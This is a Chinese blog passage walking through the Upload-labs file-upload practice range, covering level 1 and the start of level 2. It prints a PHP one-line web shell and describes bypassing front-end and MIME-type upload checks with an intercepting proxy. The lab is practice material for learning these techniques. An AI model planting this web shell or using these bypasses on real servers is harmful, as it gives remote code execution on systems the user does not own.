Upload-labs 1-19关 靶场通关全攻略上(1-10关)(最细没有之一)

目录

Pass-01 前端验证

一句话木马:

Pass-02 MIME验证

Pass-03 绕过黑名单上传

第三关在线靶场链接:

Psaa-04 .htaccess 重写解析绕过上传

第四关在线靶场链接:

.htaccess内容:

Pass-05 大小写绕过上传

Pass-06 空格绕过上传攻击

Pass-07 点绕过上传

Pass-08 交换数据流::$DATA 绕过上传

Pass-09 点空格点绕过

Pass-10 双写后缀名绕过上传

这里面有的讲的不细腻,只能记住方法就好,原理太复杂,越听越乱。

需要工具或者有任何问题私信我。


Pass-01 前端验证

在桌面创建一个.php后缀文件写入一句话木马(1,2关)

一句话木马:

<?php @eval($_POST[666]); ?>

<?php @eval($_POST[666]); ?>

上传此文件发现报错

因为是进行前端JS校验,所以我们把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包, 把后缀名改成可执行的脚本后缀.php。即可绕过上传 。

点击上传进行抓包

可以看到上传后没有报错,并且文件已经上传到我们目录中

复制图片地址并用工具进行连接

连接成功

Pass-02 MIME验证

我们上传.php文件发现文件类型不正确,这关是进行后端PHP校验

使用bp抓包,修改上传的PHP的content-type为image/gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值